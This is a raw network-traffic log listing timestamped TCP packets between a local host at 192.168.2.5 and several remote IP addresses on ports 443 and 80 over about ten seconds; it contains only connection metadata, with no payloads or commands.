Dec 7, 2024 08:43:16.162988901 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.163002968 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.176827908 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.176879883 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.176888943 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.190190077 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.190257072 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.190264940 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.203772068 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.203830004 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.203838110 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.217472076 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.217526913 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.217541933 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.231203079 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.231255054 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.231264114 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.244918108 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.244975090 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.244985104 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.258537054 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.258569956 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.258621931 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.258636951 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.258676052 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.272005081 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.285552025 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.285630941 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.285640955 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.325993061 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.326003075 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.339217901 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.339267969 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.339277029 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.346698046 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.346749067 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.346757889 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.348365068 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.348408937 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.348417044 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.360200882 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.360276937 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.360287905 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.371855974 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.371907949 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.371918917 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.383708000 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.383770943 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.383783102 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.395109892 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.395162106 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.395169973 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.406721115 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.406779051 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.406793118 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.417345047 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.417395115 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.417404890 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.428034067 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.428085089 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.428093910 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.438846111 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.438909054 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.438919067 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.449423075 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.449469090 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.449476957 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.459562063 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.459609032 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.459619045 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.469446898 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.469497919 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.469506979 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.478560925 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.478631973 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.478641987 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.487560987 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.487621069 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.487634897 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.496527910 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.496591091 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.496599913 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.505278111 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.505346060 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.505354881 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.513823986 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.513892889 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.513900995 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.522561073 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.522615910 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.522623062 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.531363964 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.531424999 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.531433105 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.537200928 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.537257910 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.537269115 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.542695999 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.542748928 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.542758942 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.548261881 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.548330069 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.548337936 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.554290056 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.554337978 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.554347992 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.559520006 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.559585094 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.559592009 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.564878941 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.564944029 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.564951897 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.570444107 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.570508957 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.570517063 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.575853109 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.575901985 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.575913906 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.581382990 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.581439972 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.581450939 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.586575031 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.586622000 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.586630106 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.591929913 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.592010975 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.592019081 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.592125893 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.592176914 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.594098091 CET	49708	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.594111919 CET	443	49708	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.642400980 CET	49716	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.642421961 CET	443	49716	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:16.642524958 CET	49716	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.642745972 CET	49716	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:16.642755985 CET	443	49716	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:17.726969004 CET	49722	443	192.168.2.5	23.218.208.109
Dec 7, 2024 08:43:17.727019072 CET	443	49722	23.218.208.109	192.168.2.5
Dec 7, 2024 08:43:17.727118015 CET	49722	443	192.168.2.5	23.218.208.109
Dec 7, 2024 08:43:17.729310989 CET	49722	443	192.168.2.5	23.218.208.109
Dec 7, 2024 08:43:17.729327917 CET	443	49722	23.218.208.109	192.168.2.5
Dec 7, 2024 08:43:18.183650017 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:18.183994055 CET	49725	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:18.303472042 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:18.303682089 CET	80	49725	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:18.303780079 CET	49725	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:18.303997040 CET	49725	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:18.336144924 CET	443	49716	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:18.336425066 CET	49716	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:18.336441994 CET	443	49716	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:18.336781979 CET	443	49716	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:18.337558985 CET	49716	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:18.337625980 CET	443	49716	142.250.181.100	192.168.2.5
Dec 7, 2024 08:43:18.342092991 CET	49726	443	192.168.2.5	4.175.87.197
Dec 7, 2024 08:43:18.342123985 CET	443	49726	4.175.87.197	192.168.2.5
Dec 7, 2024 08:43:18.342204094 CET	49726	443	192.168.2.5	4.175.87.197
Dec 7, 2024 08:43:18.344713926 CET	49726	443	192.168.2.5	4.175.87.197
Dec 7, 2024 08:43:18.344724894 CET	443	49726	4.175.87.197	192.168.2.5
Dec 7, 2024 08:43:18.387716055 CET	49716	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:18.423718929 CET	80	49725	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:19.150682926 CET	443	49722	23.218.208.109	192.168.2.5
Dec 7, 2024 08:43:19.150764942 CET	49722	443	192.168.2.5	23.218.208.109
Dec 7, 2024 08:43:19.161205053 CET	49722	443	192.168.2.5	23.218.208.109
Dec 7, 2024 08:43:19.161225080 CET	443	49722	23.218.208.109	192.168.2.5
Dec 7, 2024 08:43:19.161463022 CET	443	49722	23.218.208.109	192.168.2.5
Dec 7, 2024 08:43:19.214756966 CET	49722	443	192.168.2.5	23.218.208.109
Dec 7, 2024 08:43:19.217685938 CET	49722	443	192.168.2.5	23.218.208.109
Dec 7, 2024 08:43:19.263328075 CET	443	49722	23.218.208.109	192.168.2.5
Dec 7, 2024 08:43:19.663881063 CET	443	49722	23.218.208.109	192.168.2.5
Dec 7, 2024 08:43:19.663935900 CET	443	49722	23.218.208.109	192.168.2.5
Dec 7, 2024 08:43:19.664017916 CET	49722	443	192.168.2.5	23.218.208.109
Dec 7, 2024 08:43:19.664180040 CET	49722	443	192.168.2.5	23.218.208.109
Dec 7, 2024 08:43:19.664196968 CET	443	49722	23.218.208.109	192.168.2.5
Dec 7, 2024 08:43:19.664237976 CET	49722	443	192.168.2.5	23.218.208.109
Dec 7, 2024 08:43:19.664244890 CET	443	49722	23.218.208.109	192.168.2.5
Dec 7, 2024 08:43:19.703704119 CET	49728	443	192.168.2.5	23.218.208.109
Dec 7, 2024 08:43:19.703726053 CET	443	49728	23.218.208.109	192.168.2.5
Dec 7, 2024 08:43:19.703802109 CET	49728	443	192.168.2.5	23.218.208.109
Dec 7, 2024 08:43:19.704086065 CET	49728	443	192.168.2.5	23.218.208.109
Dec 7, 2024 08:43:19.704097033 CET	443	49728	23.218.208.109	192.168.2.5
Dec 7, 2024 08:43:20.063592911 CET	49729	443	192.168.2.5	142.250.181.142
Dec 7, 2024 08:43:20.063640118 CET	443	49729	142.250.181.142	192.168.2.5
Dec 7, 2024 08:43:20.063709021 CET	49729	443	192.168.2.5	142.250.181.142
Dec 7, 2024 08:43:20.063957930 CET	49729	443	192.168.2.5	142.250.181.142
Dec 7, 2024 08:43:20.063972950 CET	443	49729	142.250.181.142	192.168.2.5
Dec 7, 2024 08:43:20.072151899 CET	49731	443	192.168.2.5	142.250.181.110
Dec 7, 2024 08:43:20.072182894 CET	443	49731	142.250.181.110	192.168.2.5
Dec 7, 2024 08:43:20.072238922 CET	49731	443	192.168.2.5	142.250.181.110
Dec 7, 2024 08:43:20.072532892 CET	49731	443	192.168.2.5	142.250.181.110
Dec 7, 2024 08:43:20.072546959 CET	443	49731	142.250.181.110	192.168.2.5
Dec 7, 2024 08:43:20.102241039 CET	443	49726	4.175.87.197	192.168.2.5
Dec 7, 2024 08:43:20.102374077 CET	49726	443	192.168.2.5	4.175.87.197
Dec 7, 2024 08:43:20.125808001 CET	49726	443	192.168.2.5	4.175.87.197
Dec 7, 2024 08:43:20.125824928 CET	443	49726	4.175.87.197	192.168.2.5
Dec 7, 2024 08:43:20.126024961 CET	443	49726	4.175.87.197	192.168.2.5
Dec 7, 2024 08:43:20.128941059 CET	80	49725	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:20.129004002 CET	49725	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:20.173068047 CET	49726	443	192.168.2.5	4.175.87.197
Dec 7, 2024 08:43:20.271913052 CET	49725	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:20.321938038 CET	49729	443	192.168.2.5	142.250.181.142
Dec 7, 2024 08:43:20.324160099 CET	49716	443	192.168.2.5	142.250.181.100
Dec 7, 2024 08:43:20.324445963 CET	49731	443	192.168.2.5	142.250.181.110
Dec 7, 2024 08:43:20.391572952 CET	80	49725	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:21.083229065 CET	443	49728	23.218.208.109	192.168.2.5
Dec 7, 2024 08:43:21.083563089 CET	49728	443	192.168.2.5	23.218.208.109
Dec 7, 2024 08:43:21.084539890 CET	49728	443	192.168.2.5	23.218.208.109
Dec 7, 2024 08:43:21.084552050 CET	443	49728	23.218.208.109	192.168.2.5
Dec 7, 2024 08:43:21.084749937 CET	443	49728	23.218.208.109	192.168.2.5
Dec 7, 2024 08:43:21.085855007 CET	49728	443	192.168.2.5	23.218.208.109
Dec 7, 2024 08:43:21.127335072 CET	443	49728	23.218.208.109	192.168.2.5
Dec 7, 2024 08:43:21.202009916 CET	80	49725	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:21.202245951 CET	49725	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:21.539093971 CET	49726	443	192.168.2.5	4.175.87.197
Dec 7, 2024 08:43:21.579330921 CET	443	49726	4.175.87.197	192.168.2.5
Dec 7, 2024 08:43:21.600805044 CET	443	49728	23.218.208.109	192.168.2.5
Dec 7, 2024 08:43:21.600858927 CET	443	49728	23.218.208.109	192.168.2.5
Dec 7, 2024 08:43:21.601123095 CET	49728	443	192.168.2.5	23.218.208.109
Dec 7, 2024 08:43:21.606992006 CET	49728	443	192.168.2.5	23.218.208.109
Dec 7, 2024 08:43:21.606992006 CET	49728	443	192.168.2.5	23.218.208.109
Dec 7, 2024 08:43:21.607007027 CET	443	49728	23.218.208.109	192.168.2.5
Dec 7, 2024 08:43:21.607011080 CET	443	49728	23.218.208.109	192.168.2.5
Dec 7, 2024 08:43:22.123034000 CET	443	49726	4.175.87.197	192.168.2.5
Dec 7, 2024 08:43:22.123053074 CET	443	49726	4.175.87.197	192.168.2.5
Dec 7, 2024 08:43:22.123061895 CET	443	49726	4.175.87.197	192.168.2.5
Dec 7, 2024 08:43:22.123076916 CET	443	49726	4.175.87.197	192.168.2.5
Dec 7, 2024 08:43:22.123101950 CET	443	49726	4.175.87.197	192.168.2.5
Dec 7, 2024 08:43:22.123126984 CET	49726	443	192.168.2.5	4.175.87.197
Dec 7, 2024 08:43:22.123159885 CET	443	49726	4.175.87.197	192.168.2.5
Dec 7, 2024 08:43:22.123177052 CET	49726	443	192.168.2.5	4.175.87.197
Dec 7, 2024 08:43:22.123217106 CET	49726	443	192.168.2.5	4.175.87.197
Dec 7, 2024 08:43:22.141959906 CET	443	49726	4.175.87.197	192.168.2.5
Dec 7, 2024 08:43:22.142035007 CET	443	49726	4.175.87.197	192.168.2.5
Dec 7, 2024 08:43:22.142105103 CET	49726	443	192.168.2.5	4.175.87.197
Dec 7, 2024 08:43:22.142137051 CET	49726	443	192.168.2.5	4.175.87.197
Dec 7, 2024 08:43:22.272140026 CET	49726	443	192.168.2.5	4.175.87.197
Dec 7, 2024 08:43:22.272165060 CET	443	49726	4.175.87.197	192.168.2.5
Dec 7, 2024 08:43:22.876784086 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:22.876838923 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:22.876903057 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:22.877487898 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:22.877501965 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:24.605865002 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:24.605948925 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:24.609532118 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:24.609548092 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:24.609884977 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:24.620807886 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:24.667340040 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.088166952 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.088192940 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.088210106 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.088296890 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.088334084 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.088387012 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.262566090 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.262598991 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.262689114 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.262720108 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.262732029 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.262855053 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.305634975 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.305659056 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.305732012 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.305742025 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.305788994 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.432651043 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.432678938 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.432760000 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.432792902 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.432832003 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.469449043 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.469475031 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.469525099 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.469553947 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.469585896 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.469616890 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.492566109 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.492599964 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.492654085 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.492664099 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.492717981 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.511190891 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.511224031 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.511339903 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.511349916 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.511390924 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.620341063 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.620367050 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.620433092 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.620461941 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.620474100 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.620556116 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.637582064 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.637608051 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.637712955 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.637739897 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.637783051 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.651015043 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.651040077 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.651106119 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.651132107 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.651259899 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.666373968 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.666400909 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.666462898 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.666487932 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.666517019 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.666532040 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.681509972 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.681531906 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.681613922 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.681618929 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.681685925 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.683460951 CET	49734	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.683480024 CET	443	49734	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.747431040 CET	49736	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.747481108 CET	443	49736	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.747637987 CET	49736	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.747986078 CET	49736	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.747999907 CET	443	49736	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.750046015 CET	49737	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.750087023 CET	443	49737	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.750297070 CET	49737	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.750741005 CET	49737	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.750751019 CET	443	49737	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.752897024 CET	49738	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.752921104 CET	443	49738	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.753082991 CET	49738	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.754125118 CET	49739	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.754133940 CET	443	49739	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.754225969 CET	49739	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.755377054 CET	49738	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.755398989 CET	443	49738	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.755542994 CET	49739	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.755552053 CET	443	49739	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.756251097 CET	49740	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.756330967 CET	443	49740	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:25.756447077 CET	49740	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.756731987 CET	49740	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:25.756745100 CET	443	49740	13.107.246.63	192.168.2.5
